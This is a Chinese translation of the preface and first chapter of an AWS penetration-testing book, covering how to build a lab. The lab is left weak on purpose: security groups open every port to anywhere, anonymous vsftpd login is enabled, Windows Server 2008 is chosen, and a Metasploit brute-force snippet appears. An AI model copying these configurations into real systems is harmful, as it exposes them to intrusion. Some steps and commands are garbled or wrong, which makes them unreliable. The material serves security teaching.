AWS-渗透测试(全)

AWS 渗透测试(全)

原文:annas-archive.org/md5/FFEC848CC6CB35A19A9CEB4325235FE9

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

渗透测试已经成为验证和保护企业的一种非常有效的方法,无论是小型企业还是大型企业。渗透测试的目的是通过对组织内的对象、服务和流程进行全面枚举和利用,来评估漏洞的影响。本书专注于使用渗透测试的改编版本,并将其应用于道德黑客和保护 AWS 流行的云服务。

这本书是为谁准备的

这本书适用于对云技术有基本了解的学生和专业人士,他们希望在 AWS 和渗透测试中获得实际的安全知识。

本书涵盖的内容

第一章, 构建您的 AWS 环境,从 AWS 的基础知识开始。AWS 是一个不断发展的云技术提供商,许多公司正在使用它来存储他们的数据。本章将帮助您了解如何创建基本的 AWS 环境,以及涵盖了可以在受控环境中利用的配置错误服务。不需要对 AWS 有任何了解,本章将为您提供关于如何设置自己的 AWS 环境的一切所需的知识。

第二章, 渗透测试和道德黑客,介绍了渗透测试本身。渗透测试开始变得流行起来;公司进行渗透测试并了解他们对系统的未知情况已经变得司空见惯。渗透测试是发现和利用 IT 系统中典型扫描器无法检测到的问题的实践。本章将简要介绍渗透测试是什么,并通过使用渗透测试工具进行练习,让你亲自动手。

第三章, 探索渗透测试和 AWS,讨论了工具。对任何渗透测试的第一步总是涉及扫描系统和资源。渗透测试人员使用各种工具和技术,以确保他们正确地扫描系统并枚举尽可能多的信息。本章将重点介绍使用 NMAP 和 Metasploit 从目标中获取信息,这些信息可以用于进一步的利用。

第四章, 利用 S3 存储桶,涵盖了 S3 存储桶。S3 存储桶是 AWS 用来存储数据的主要资源之一。也被称为简单存储服务存储桶,S3 存储桶是存储对象(如数据和元数据)的好方法。然而,与其他文件存储解决方案一样,S3 存储桶可以通过简单的配置错误轻松被利用。这些配置错误可能导致数据泄露和其他严重的安全问题。本章将重点介绍 S3 存储桶、它们的功能以及如何利用公共存储桶和配置错误的存储桶的问题。

第五章, 理解易受攻击的 RDS 服务,探讨了另一个 AWS 的漏洞。亚马逊关系型数据库服务RDS)是可扩展的,使得设置基于云的数据库变得容易,允许用户像使用典型数据库一样操作。RDS 允许用户通过诸如 MySQL 和 Amazon Aurora 之类的服务进行交互,就像用户在典型的物理数据库基础设施中一样。RDS 的缺点与常规数据库相同:注入和配置错误。本章将介绍常见的配置错误以及它们如何导致可能的注入。

第六章《设置和渗透测试 AWS Aurora RDS》继续关注数据库。AWS Aurora 为 AWS 账户提供了类似 SQL 的数据库功能,操作简单。以类似于 PostgreSQL 和 MySQL 的查询为重点,Aurora 使用户可以轻松地与高性能存储系统进行交互。然而,对其的错误可能会造成严重后果,如果没有充分保护,可能会导致数据泄露。本章将讨论 Aurora 所提供的优缺点,并探讨 SQL 注入的危险 - 这是针对托管 MySQL 等服务的网站的恶意攻击。

第七章《评估和渗透测试 Lambda 服务》转向了 Lambda。Lambda 允许用户创建代码,以便稍后根据需要响应事件。这些事件可以是 AWS 环境中发生的任何事情 - HTTP 请求、对 S3 存储桶的修改,或者例如新的 EC2 实例被启动。本章将重点讨论 Lambda 中的漏洞发现如何导致服务的利用以及内部流程和对象的发现。

第八章《评估 AWS API Gateway》专注于 API Gateway。AWS API Gateway 充当应用程序托管数据的网关。这些应用程序托管的数据各不相同;然而,不变的是一些数据可能被未经授权的人员视为有吸引力。本章将讨论 AWS API Gateway 是什么,如何检查 API 调用,并如何通过渗透测试 API 调用来纠正问题。

第九章《使用 Metasploit 进行真实渗透测试!》深入探讨了 Metasploit。Metasploit 是一种自动化的渗透测试工具,使渗透测试人员能够轻松利用漏洞。Metasploit 提供了利用载荷,并已成为测试常见漏洞的流行工具。Metasploit 还配备了 meterpreter shell,允许渗透测试人员在利用系统上进行反向连接。反向 shell 允许渗透测试人员根据权限获得一定程度的控制,从而简化了枢纽和窃取。本章将以实际案例展示如何使用 Metasploit 在真实环境中对 AWS 环境进行渗透测试。

第十章《渗透测试最佳实践》是我们认识到渗透测试并非一刀切的评估类型。适用于一次渗透测试的内容可能并不适用于另一次。保持对趋势的关注、磨练技能,并发展对渗透测试含义的理解是至关重要的。本章将讨论在保持渗透测试技能和更新流程方面的最佳实践,以及如何跟上渗透测试的步伐。

第十一章《避免麻烦》探讨了您的行为可能产生的潜在影响。对 AWS 系统进行渗透测试可能会对系统造成严重侵入,并且如果执行不正确还可能导致法律问题。在对 AWS 进行渗透测试时,了解作为渗透测试人员在 AWS 系统上可以做什么和不能做什么至关重要。本章将介绍对 AWS 进行渗透测试的注意事项,以及拒绝服务、洪水攻击以及这些技术可能对渗透测试团队产生的法律影响。

第十二章《AWS 的其他项目》解释了 AWS 在市场空间中仍然相对较新,但在很大程度上正在增长。这种增长导致许多安全服务为公司创建培训平台,以便在 AWS 渗透测试的“安全空间”中进行测试和培训。本章将探讨可以集成以增强您的 AWS 渗透测试方法的各种项目。

为了充分利用本书

本书将要求您在整个文本中在各种操作系统上安装特定程序。请注意,虽然由于更新,某些软件版本可能不匹配,但安装方法将保持不变。

如果您使用本书的数字版本,我们建议您自己输入代码或通过 GitHub 存储库(下一节中提供的链接)访问代码。这样做将有助于避免与复制和粘贴代码相关的任何潜在错误。

完成本书后,我强烈建议您花一些时间调整书中学到的策略和技术,并将它们融入到您所在企业的方法论中。

下载示例代码文件

您可以从 GitHub 上的github.com/PacktPublishing/AWS-Penetration-Testing下载本书的示例代码文件。如果代码有更新,将在现有的 GitHub 存储库上进行更新。

我们还有来自丰富书籍和视频目录的其他代码捆绑包,可在github.com/PacktPublishing/上找到。快去看看吧!

代码演示

本书的实际代码演示视频可在 https://bit.ly/3kSoMQT 观看。

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781839216923_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

文本中的代码:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。这里有一个例子:“aws:此命令允许您与您的 AWS 环境进行交互。”

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体显示:

Set RHOSTS <<aurora instance>>
Set USERNAME admin
Set STOP_ON_SUCCESS true
Set PASS_FILE AuroraPasswords.txt 

任何命令行输入或输出都以以下方式编写:

$ aws s3api get-bucket-policy --bucket packtawspentesting --output text | python -m json.tool

粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式出现在文本中。这里有一个例子:“下一个屏幕将显示配置选项图标。”

提示或重要说明

像这样。

第一部分:建立 AWS 和渗透测试环境

本节将在初学者级别上为您提供对 AWS 和渗透测试方法论的基本理解和概述。您将了解 AWS 和渗透测试的背景,同时还将建立一个包含易受攻击服务的基本环境,这些服务将在整本书中被利用。您不需要任何先前的知识,将学习如何从零开始设置 EC2 实例以及其他各种 AWS 服务。

本节包括以下章节:

  • 第一章,构建您的 AWS 环境

  • 第二章,渗透测试和道德黑客

第一章:构建您的 AWS 环境

亚马逊网络服务AWS)是一个不断发展的云技术提供商,许多公司使用它来帮助存储他们的数据。AWS 起源于 2006 年底的华盛顿西雅图,正逐渐成为最重要的服务提供商。由于其易用性和用户友好的界面,AWS 被超过 80 万家公司使用,占据了 65%或更多的云基础设施空间。本书将经常讨论一些较为知名的服务,如 S3、Lambda 和 EC2,并且这些服务在现实世界中被广泛使用。

本章将介绍 AWS 的基础知识,并指导您设置 AWS 账户。我们学习如何配置和准备 AWS 账户的基础知识非常重要,这样在设置账户后就不需要进行额外的管理。设置账户后,我们将设置几个具有不同操作系统版本的 EC2 实例,并查看这些操作系统中的易受攻击的服务。鼓励您在完成本章后,查看如何在您的环境中构建更多的 EC2 实例,使用其他操作系统。

在本章中,我们将通过以下主题探索 AWS:

  • 探索亚马逊网络服务

  • 了解测试环境

  • 配置环境

  • 探索易受攻击的服务

  • 攻击漏洞

  • AWS 命令行界面

技术要求

要按照本章的说明进行操作,您需要以下内容:

查看以下视频以查看代码的实际操作:bit.ly/3kPrVkh

探索亚马逊网络服务(AWS)

AWS 是由西雅图科技公司亚马逊提供的云服务。AWS 全面而易于设置,非常受小型初创公司和大型企业的青睐。它通过允许公司和企业在亚马逊的物理资源之外设置他们的基础设施来运作。这种服务称为基础设施即服务,它将云计算作为一个整体服务交付。随着我们在本书中设置我们的实验室,您将看到在 AWS 中自动化和构建是多么容易。然而,您也会注意到一些可能经常被忽视的问题,比如安全性。

AWS 并不完全对公司的数据和安全负责。事实上,亚马逊发布了一个共享责任模型,确保双方了解他们在客户数据方面的权利和责任。毕竟,亚马逊是一个以“以客户为中心”而闻名的公司。

AWS 安全和渗透测试

当您阅读本书时,您将接触到一些以前可能没有讨论过的不同概念。这是因为 AWS 渗透测试是一个相对新的主题,在信息技术安全领域越来越受欢迎。这件好事是它允许主题专家帮助创建围绕 AWS 的渗透测试文化,并为在 AWS 和系统安全中执行渗透测试提供新的想法。

接下来,您将深入了解 AWS,并创建自己的账户。之后,我们将开始创建我们自己的云渗透测试游乐场,我们将在其中设置一个易受攻击的主机,以便以后进行测试。

了解我们的测试环境

了解我们将要部署的所有系统及其在本书中的用途至关重要。构建实验室有助于安全研究,因为它允许您执行与真正黑客相同的策略和技术,而无需担心违反任何法律。对于我们的实验室,我们将设置各种主机,模拟您在企业中看到的真实系统。唯一的区别是我们将使用一些较旧版本的软件和操作系统。使用较旧的系统的目的是因为它们通常比最新版本更容易受到攻击,这样学习渗透测试就更容易 - 也更有趣!

我们希望确保我们学习一点点所有内容,因此我们将使用基于 Windows 和 Unix 的操作系统。这些系统构建方式大不相同,但是在现实的渗透测试情况下,您将会遇到这些系统。

此外,我们将使用一个名为“Kali Linux”的操作系统作为我们的黑客操作系统。Kali Linux 是一个非常受欢迎的黑客操作系统,主要用于渗透测试社区,主要是因为它预装了各种黑客工具套件,并由攻击性安全维护。

配置您的环境

配置您的环境是本书中最重要的任务。没有它,您将无法测试您的技能!构建环境将教会您如何配置实例,向其添加资源,并连接到它们。

设置账户

要开始创建自己的 AWS 账户,请按照以下步骤进行:

  1. 请打开您选择的浏览器,并转到位于aws.amazon.com/的 AWS 首页。

您将被迎接一个登陆页面,并会看到一个名为创建免费账户的按钮。只需点击创建免费账户开始创建您的个人资料:

图 1.1 – AWS 账户创建

图 1.1 – AWS 账户创建

  1. 点击按钮后,您将看到如何创建 AWS 账户。根据信息填写表格。如果您使用学生邮箱地址,您可以获得额外的好处:图 1.2 – 账户创建表格

图 1.2 – 账户创建表格

  1. 填写完表格后,点击继续,您将收到一封电子邮件,其中会有问候语并欢迎您加入 AWS:

图 1.3 – AWS 账户创建后的电子邮件

图 1.3 – AWS 账户创建后的电子邮件

恭喜,您现在拥有自己的账户,可以在本书的其余部分中使用。在继续之前,随意了解 AWS 中所有可用的资源。AWS 充满了您可以随时使用的资源和信息。一旦准备好,继续下一节,学习如何创建您自己的 EC2 实例。

重要提示

在设置账户时,尽可能使用.edu 地址。您可以使用 AWS 账户的其他优惠。本章末尾将提供有关学生福利的更多信息的链接。

下一节将讨论如何在您的新 AWS 账户中创建您自己的 EC2 实例。

设置 EC2 实例

EC2(弹性计算云)实例基本上取代了硬件的需求,通过在亚马逊云中提供可伸缩的计算。将 EC2 实例视为没有操作系统的计算机。这是有益的,因为它允许组织扩展其系统,几乎没有额外开销!然而,虽然拥有这样一个简单的解决方案是有益的,但缺点可能表现为常见的管理不善。部署 EC2 实例非常容易,但管理员可能会忽视它。但是那台计算机是别人的计算机,您正在租用它。请记住,一台计算机只是一台计算机,因此您需要在上面安装操作系统。

在我们开始讨论我们正在创建的实例之前,让我们简要提一下为什么我们要设置这些实例。作为渗透测试人员,理解系统的设置方式是很重要的。通常,渗透测试人员来自开发和系统管理员背景,并且对系统工作原理有基本的理解。我们正在设置各种操作系统,并首次查看 EC2 实例和操作系统中实现的常见问题。让我们看看本章中我们将要创建的内容。

我们将创建三个具有不同镜像的 EC2 实例。这样做将使我们了解如何访问每个系统与其他系统不同。我们将安装的第一个操作系统将是CentOS 7

CentOS 是一个非常流行的基于 Unix 的操作系统,它将允许我们更深入地探索 Linux 文件系统的工作原理。在学习渗透测试时,暴露于各种系统是至关重要的,因为在这个领域,你可能会有各种目标需要进行渗透测试。

使用 CentOS 设置 EC2 实例

如果你还没有,请登录你的 AWS 账户。一旦你登录你的账户,你将进入AWS 管理控制台。这是我们将开始为本章创建 EC2 实例的地方。以下步骤介绍了如何部署 EC2 实例:

  1. 从主控制台中,你会看到计算下面的EC2。点击它开始创建 EC2 实例的过程:图 1.4–AWS 管理控制台

图 1.4–AWS 管理控制台

  1. 点击它后,你会看到左下角有一个标有启动实例的按钮。左侧下拉窗格中还有实例选项。点击启动实例开始构建你的第一个 EC2 实例:

图 1.5–EC2 启动

图 1.5–EC2 启动

点击启动实例后,你需要在你的 EC2 实例中配置一个主机操作系统。对于本练习,我们将选择最小的 CENTOS 7 安装作为我们的主机操作系统。这个操作系统将是 EC2 实例中的“生存者”。

现在我们已经设置好了 AWS 账户,我们将逐步分解所需的步骤来构建 EC2 实例。如前所述,EC2 实例是我们的操作系统所在的地方。我建议你熟悉这个过程,因为在本书中你将经常构建实例。要开始设置一些实例,请按照提供的步骤开始。这些步骤是按顺序构建 EC2 实例的。如果你错过了某一步,请确保在继续之前回过头来补上这一步:

  1. 选择 Amazon 机器镜像:前往 Amazon 市场搜索一个镜像来安装在你的 EC2 实例上。如前所述,我们将使用CentOS 7作为示例:图 1.6–EC2 操作系统

图 1.6–EC2 操作系统

  1. 选择实例类型:确保使用免费套餐以避免收费。如果你忘记了,亚马逊将会按月向你收取超出计划的任何使用费用。但是,如果你愿意,可以随意使用付费套餐。对于本练习,我们将使用免费套餐,因为它足够使用。

  2. 之后,你将需要创建一个新的虚拟私有云VPC)网络,你的 EC2 实例可以驻留在其中。VPC 充当一个允许 VPC 内其他实例之间进行安全通信的网络。它还允许通过 VPN 连接 VPC 之外的连接:图 1.7–创建 VPC

图 1.7–创建 VPC

  1. 之后,你需要创建一个子网,让你的主机可以连接到。确保你记住 VPC 和子网,以备设置其他实例时使用:图 1.8–创建 VPC 第 2 部分

图 1.8–创建 VPC 第 2 部分

  1. 接下来,您将被提示关于操作系统的存储。分配的存储空间将足够进行练习:图 1.9 – 存储设置

图 1.9 – 存储设置

  1. 接下来,我们将为实例配置路由。路由将允许或禁止流量在实例的某些端口上进出。在本练习中,请设置如下所示的路由:
SSH : TCP : 22 : ANYWHERE //Allowing any connections over port 22
Custom UDP : UDP : 0 - 65535 : ANYWHERE // Allowing any conections of all UDP Ports
Custom TCP : TCP : 0 - 65535 : ANYWHERE // Allowing any conntections over any TCP ports

以下截图突出显示了我们正在进行和输入的更改:

图 1.10 – 创建安全组

图 1.10 – 创建安全组

  1. 您需要创建一个密钥对,以便连接到您的实例。确保将密钥对保存在一个不会丢失的地方。您需要使用该密钥来访问实例。以下截图说明了命名密钥为AWS Pentest。随意命名您喜欢的内容:图 1.11 – 创建密钥对

图 1.11 – 创建密钥对

  1. 一旦您命名了密钥对,下载并将其保存在安全的地方。确保保存密钥,并在原始密钥丢失时制作副本。您将无法从实例中检索密钥。图 1.12 – 运行 EC2 实例的仪表板

图 1.12 – 运行 EC2 实例的仪表板

  1. 完成后,单击运行实例以检查您的实例。我们将在本书后面讨论如何通过 SSH 连接到它。

您现在已经设置了第一个实例!如果您在连接时遇到权限错误等问题,请不要感到压力;确保您已经为实例的密钥设置了正确的权限。右键单击实例,然后单击连接以获得如何设置权限的建议。我们稍后将讨论连接到实例。现在,先发现 AWS 控制台中提供了什么。我们将会谈论很多内容,但先看一看并了解一下也无妨。准备好后,继续下一节。

设置 Windows 主机

接下来的部分将讨论如何在 AWS 中设置 Windows 主机。设置主机将与设置 CentOS 7 服务器非常相似,但也有一些不同之处。重要的是,我们要了解 Windows 系统的工作原理以及如何在 AWS 中设置它们。随着您进行渗透测试的旅程,您会发现许多企业在其 AWS 环境和现场设备中使用 Windows。

让我们设置主机:

  1. 让我们回到 AWS 管理控制台,并选择启动实例以启动另一个实例,就像之前一样。

  2. 转到 AWS 市场并选择Windows Server 2008 R2 Base

重要提示

我们希望使用旧版本,而不是新版本,因为在旧版本中安全问题更容易被利用。由于本书的目的是学习,我们希望能够轻松地利用通常在旧版本中发现的已知问题,而不是试图利用加固的新操作系统。确保选择与之前相同的 VPC 设置。这样做可以确保所有 VM,如您的 CentOS 7 和 Windows 主机,都在同一网络上。这将有助于我们在后面进行渗透测试时,因为我们将在同一虚拟网络上工作,使实例之间更容易进行通信。

在市场上看起来是这样的:

图 1.13 – Windows 2008 EC2

图 1.13 – Windows 2008 EC2

  1. 与之前一样,我们需要确保打开正确的端口。请注意3389端口是打开的。端口3389是与RDP相关联的端口。正确设置这一点可以确保您以后可以连接到 Windows 主机:图 1.14 – Windows 2008 EC2 开放端口

图 1.14 – Windows 2008 EC2 开放端口

  1. 现在我们已经准备好主机,我们需要连接到它。由于这是一个 Windows 主机,我们无法像传统方式那样通过 SSH 连接到它。这是因为主机使用端口3389上的远程桌面协议,而不是使用端口22上的 SSH。我们不需要获取密钥,而是需要获取存储在 Windows 主机上的密码。

  2. 要获取密码,只需右键单击 Windows 实例,然后选择获取 Windows 密码。如果刚刚设置了 Windows 主机,可能需要最多 4 分钟才能解密密码:图 1.15 - Windows 2008 EC2 密码检索

图 1.15 - Windows 2008 EC2 密码检索

  1. 通过输入加密密码来解密密码,如图所示。在字段中放入密码后,单击解密密码图 1.16 - 解密 Windows 密码

图 1.16 - 解密 Windows 密码

  1. 完成后,您将收到一个用户名密码的提示,以访问您的主机。与以前一样,请确保将这些凭据保存在安全的地方,以免丢失。但是,只要您拥有加密密码,就可以恢复它们。存储加密密码可以像将其存储在密码保险库中那样简单,或者将其存储在云存储空间中,例如 S3 存储桶中。确保只有您可以访问存储位置。为了获得最佳结果,实施基于用户的文件系统访问控制:

图 1.17 - 用户名和密码

图 1.17 - 用户名和密码

要测试连接,请在主机上打开远程桌面客户端,并使用 EC2 实例的公共 DNS。如果一切顺利,您应该能够登录到桌面!

攻击者设置 - 设置 Kali 实例

在本节中,我们将设置一个可以充当攻击主机的Kali Linux镜像。Kali Linux 是安全专业人员用来测试其系统和应用程序的流行操作系统。这在很大程度上是因为操作系统预装了可以帮助枚举和利用的工具!Kali Linux 将作为我们主要主机之一,并将成为您在渗透测试中使用的工具!

由于我们已经知道如何设置 EC2 实例,我们将只专注于如何使用名为PuTTY的工具连接我们的 Kali 主机。PuTTY 是一种允许管理员远程访问其系统的工具,正如我们将在本章后面所做的那样。在设置 Kali 机器时,请确保使用与其他机器相同的 VPC 和子网设置:

  1. 首先,转到AWS Marketplace并检索 Kali Linux 的实例。然后继续创建 EC2 实例,就像您在之前的练习中所做的那样:图 1.18 - Kali Linux EC2 实例

图 1.18 - Kali Linux EC2 实例

与以前一样,请确保创建一个新的密钥对并使用新名称。

重要提示

最好为每个实例创建新的密钥,并且不要在实例之间共享密钥。在现实世界的情况下,如果一个密钥被泄露,所有主机都使用相同的密钥,那么可以假定所有主机都将被泄露。这将成为所有主机之间的“共享秘密”。

窗口如下所示:

图 1.19 - Kali 秘钥

图 1.19 - Kali 秘钥

  1. 现在我们有了密钥对,我们需要连接到 Kali 机器。从控制台右键单击实例,然后按照连接说明连接到您的实例:
$ chmod 400 "Kali - AWS - Pentest.pem"
$ ssh -i "Kali - AWS - Pentest.pem" ec2-user@<AWS instance>

以下截图显示了这些命令的步骤及其含义,以帮助理解这些命令在做什么:

图 1.20 - Kali 信息

图 1.20 - Kali 信息

正如您在截图中所看到的,提示突出显示了在访问 EC2 实例之前需要进行的一些日常事务步骤。

  1. 打开 SSH 客户端。在我们的情况下,我们将使用 PuTTY 进行连接,并将在下一节中看看如何连接。

  2. 找到我们刚保存的.pem文件。.pem文件充当秘钥,允许你对 EC2 实例进行身份验证。

  3. 我们需要使用chmod命令更改密钥的权限。

  4. 分配给我们实例的公共 DNS 名称是连接到实例的资源名称。

  5. 最后,该命令向我们展示了如何使用预先安装在我们的 Linux 机器上的 SSH 命令,使用秘钥和用户名root连接到我们的云资源。

接下来,我们将看看如何使用 PuTTY 连接到实例。

使用 PuTTY 连接

PuTTY 是一个工具,允许用户从各种端口连接到主机。与终端或命令行不同,PuTTY 提供了一个界面,允许用户通过鼠标点击与主机交互,而不是必须通过终端连接。我们必须了解连接到我们实例的各种方式,PuTTY 是连接到真实环境中的 EC2 实例的常用资源。

我们可以使用 PuTTY 或 SSH 连接到我们在自己实验室中设置的任何实例。本节的目的是引导你完成从分配给 EC2 实例的私钥创建 SSH 密钥的步骤:

  1. 首先确保 PuTTY 已安装在你的计算机上。你可以在这里下载适合你的客户端(www.chiark.greenend.org.uk/~sgtatham/putty/)。安装完成后,继续转换私钥。

  2. 启动一个名为.pem文件的程序。我们之前也使用我们的 CentOS 7 实例创建了.pem文件。一旦将密钥加载到.ppk中:图 1.21 - PuTTY 密钥生成器

图 1.21 - PuTTY 密钥生成器

  1. 现在你已经创建了一个.ppk文件,是时候启动 PuTTY 并测试你的连接了。转到连接 > SSH > Auth,加载你在上一步创建的新密钥:

图 1.22 - PuTTY 密钥配置

图 1.22 - PuTTY 密钥配置

一旦密钥准备就绪,就可以输入启动连接到实例所需的具体数据了。以下步骤将指导你完成这个过程:

  1. 返回 PuTTY 中的会话选项卡。在会话选项卡中,输入你要连接的实例的主机名。主机名是你可以在 AWS 控制台中找到的公共 DNS 记录。你也可以点击你的实例上的连接来获取公共 DNS 名称。

  2. 一旦主机名配置好,确保端口设置为22以进行SSH连接:图 1.23 - PuTTY 连接

图 1.23 - PuTTY 连接

  1. 现在我们准备连接到我们的实例。点击.ppk文件:图 1.24 - PuTTY 终端

图 1.24 - PuTTY 终端

  1. 现在你以ec2-user用户登录。这个用户权限不是很高,所以可以随意通过以下命令切换到 root 账户来更改权限:
$ sudo su 

这些特权允许用户在基于 Linux 的操作系统上更改、读取和执行任何文件。这些高特权用户可以在文件路径/etc/sudoers中找到。恭喜,你现在已成功使用 PuTTY 连接到你的实例。

完成了这一部分,做得很好!现在你应该可以轻松地在 AWS 中设置 EC2 实例,也了解了配置各种操作系统的基础知识。正如所述,你理解这些差异非常重要,因为在渗透测试中,你将接触到许多操作系统,如基于 Windows 和 Unix 的系统。

接下来,我们将继续查看易受攻击的服务,以及如何利用我们的知识在渗透测试环境中设置易受攻击的服务。

探索易受攻击的服务

如果不打补丁,有漏洞的服务可能是系统的软肋。 这意味着漏洞如果不打补丁,会在公司的系统中留下严重的弱点,可以让恶意黑客获取访问权限。 漏洞被归类为系统中的问题,如果不修复,可能会在成为攻击向量时造成严重问题。 漏洞有许多变种,可以以过时的操作系统、开放端口、未经授权的访问等形式出现。 为了修复已知的漏洞并保护系统免受攻击,必须相应地安装补丁和更新。 这样做有助于解决您将看到的大多数主要问题。

发现有漏洞的服务

现在我们知道了漏洞是什么,让我们提一下渗透测试发现漏洞的典型方式:

  1. 确保您有一个目标列表。 目标被分类为主机-我们可以将 EC2 实例视为主机。

  2. 一旦您有主机列表,您将需要扫描它们并从中枚举信息。 扫描可以使用各种工具,我们将在第九章**,使用 Metasploit 和更多进行真实渗透测试中使用更多。

  3. 然后,您会创建与扫描和枚举时发现的漏洞相关的风险。 风险通常被标记为关键-关键具有最大的影响。

  4. 在扫描时,您可能还会发现“低挂果实”。 低挂果实是易于利用的漏洞,允许您快速利用目标。

  5. 发现的漏洞应立即报告,以便可以正确修补它们。 通常,另一个团队被指定来修复这些问题并对系统应用补丁。

这是在渗透测试环境中发现漏洞的基础。 现在让我们从管理员的角度看一下如何创建有漏洞的服务。

创建有漏洞的服务

在这个简短的示例中,我们将在我们的 CentOS 7 机器上安装vsftpd并启用匿名登录。 匿名登录是相当多 FTP 客户端的默认功能,并允许任何人使用以下凭据连接到 FTP:

  • 用户名:匿名

  • 密码:匿名

正如您可能已经猜到的那样,允许任何人如此轻松地访问您的服务器会带来巨大的安全风险。 我们将学习如何将服务器设置为有漏洞,然后稍后将学习一些我们可以采取的安全控制措施来锁定 FTP 服务器:

  1. ssh进入我们设置的 CentOS 7 服务器。 您需要以用户ec2-user登录,而不是root

  2. 登录到服务器后,运行以下命令来更新服务器并安装vsftp服务:

$ sudo yum update
  1. 接下来运行以下命令:
sudo su to switch over to the root user account. This will allow you to run all commands as the root user.
  1. 通过输入sudo service vsftpd status来验证服务是否正在运行。 现在vsftpd已安装,我们需要确保匿名登录已启用。 运行以下命令访问vsftpd配置文件:
anonymous_enabled=YES

它将看起来像以下的屏幕截图:

图 1.25-安装 Metasploit

图 1.25-安装 Metasploit

现在您的服务器已设置为匿名登录。 本书的后面,在第三章**,探索渗透测试和 AWS中,我们将讨论如何从本地和远程连接到服务,以及如何从环境中的其他实例进行扫描。

我们现在对漏洞是什么以及如何自己复制它们有了一些了解。了解我们将在本书中进行的技术属性的全部范围是很重要的。关于漏洞,请注意,发现漏洞并不等同于攻击它们。在发现漏洞时,您将被指派发现、评估和评估任何发现的漏洞。渗透测试通过手动和自动利用进一步攻击和利用这些漏洞。

让我们继续讨论攻击漏洞的内容。

攻击漏洞

攻击漏洞是网络安全中更有趣的方面之一。发现并修补您可能发现的问题是一回事,但实际攻击它则需要您的技能达到另一个水平!攻击漏洞是渗透测试与其他安全职业的区别所在。大多数安全职位只是发现和补救,而渗透测试则攻击和利用发现的问题。这样做可以揭示一个系统的安全姿态有多真实或不真实。您将听到的更流行的工具之一是 Metasploit。

探索 Metasploit

在渗透测试社区中,一个流行的工具是被称为Metasploit Framework的框架。也被称为Metasploit,这个自动化软件预装在 Kali Linux 上,具有可以配置和启动在易受攻击主机上的漏洞和有效载荷。它还具有适用于各种操作系统的漏洞和各种类型的有效载荷。这些漏洞被称为模块,并且是用Ruby创建的。

其中一个更常见的漏洞是443。监听器可以设置为在端口443上监听,并在执行 Web 漏洞后建立连接。我们将在第九章**,使用 Metasploit 进行真实渗透测试和更多!中看到更多使用 Metasploit 的方法。

我们需要学会走路才能跑,所以现在让我们来看看如何在我们的 Kali Linux 主机上设置 Metasploit。接下来的部分将给您一个练习,让您启动和运行 Metasploit。

对于这个练习,我们只是要连接到 Kali Linux 主机并更新 Metasploit。新的漏洞不断上传到 Metasploit,因此经常更新是很重要的。

  1. 这就是我们将如何更新 Metasploit。通过之前使用 PuTTY 方法设置的 Kali 实例连接到它。如果需要,可以查看连接部分。一旦连接,您将希望切换到sudo su

  2. 现在您是root用户,让我们将 Metasploit 更新到当前版本。我们希望确保 Metasploit 更新了最新的漏洞和模块进行测试。要更新工具,请输入以下命令:

$ apt install metasploit-framework

屏幕截图显示了在我们的 Kali Linux 终端中执行的命令:

图 1.26 – 安装 Metasploit

图 1.26 – 安装 Metasploit

  1. 一旦连接,您将能够启动一个全新的数据库中充满了漏洞的 Metasploit。在以前的几年里,您必须在启动 Metasploit 之前在后台启动数据库。然而,现在,以下命令将在后台启动一个运行的数据库启动 Metasploit:
$ msfdb run

随意熟悉 Metasploit。有大量的资源可以学习有关这个流行的渗透测试工具的所有内容。我们将在本书中大量使用这个工具,所以如果您不想在互联网和书籍中寻找更多信息,也不用担心。

在本节中,我们学到了关于什么是一个易受攻击的服务以及如何设置它的一些知识。我们还简要介绍了攻击这些漏洞意味着什么,并学到了一些关于 Metasploit 的知识-这是渗透测试社区中非常流行的工具。

接下来,我们将学习 AWS 命令行界面以及如何安装它并使用它。

AWS 命令行界面(CLI)

AWS CLI 是一个很棒的命令行工具,可以让您与 AWS 技术进行交互,比如 S3 存储桶,与 EC2 实例等进行交互。我们将开始看到在第四章**,利用 S3 存储桶中更深入地实施 AWS CLI 的实际用例。AWS CLI 是一个很好的学习和熟悉使用类似终端的界面的方式,因为它允许您与 AWS 环境中的一切进行交互。对于渗透测试来说,熟悉使用命令行和/或终端总是很好的,因为您永远不知道 GUI 何时会不起作用。想象一下,当您进行渗透测试时,您的工具界面冻结了,或者应用程序的前端出现错误并停止工作。这就是理解命令行的好处所在。

安装 AWS CLI

现在我们需要继续在我们的 Kali Linux 机器上安装 AWS CLI。这将是我们在本书中使用的命令行,以与我们的 AWS 环境进行交互:

  1. 首先,让我们检查一下 AWS CLI 是否已经安装在我们的机器上:
$ aws --version
  1. 如果您有旧版本,您应该查看您有哪个版本。如果您有一段时间没有使用它,最好重新安装:
$ apt-get remove awscli -y
$ apt-get install awscli -y
  1. 通过再次运行--version开关来确保您的命令行界面已成功安装。

现在您的主机已经设置好,可以与 AWS 中的资源进行交互并覆盖本书中的内容。随意尝试并熟悉命令行界面。这是您在阅读本书并与 AWS 在现实世界中进行交互时需要习惯的东西。

探索基本的 AWS CLI 命令

现在我们将看一些基本的 AWS CLI 命令,现在已经对 AWS CLI 是什么以及它是如何工作有了一个基本的了解。以下显示了您将在本书中看到的一些命令。这些命令旨在与各种服务进行交互,如 S3、EC2 和 Lambda。

一旦您配置了 AWS CLI,使用以下命令获取命令列表:

$ aws help

以下命令对描述 EC2 服务器的属性非常有用:

$ aws ec2 describe instance

下一个命令将列出 S3 环境中的存储桶:

$ aws s3 ls s3://

我们将提到的最后一个命令用于列出 Lambda 中的函数:

$ aws lambda list-functions –-region <<region>>

正如您所看到的,有很多服务可以通过 AWS CLI 进行交互。随着我们在本书中继续进行更多练习,您将越来越熟悉与这些服务进行交互。现在我们已经讨论了本章的最后一个主题,让我们总结一下!

总结

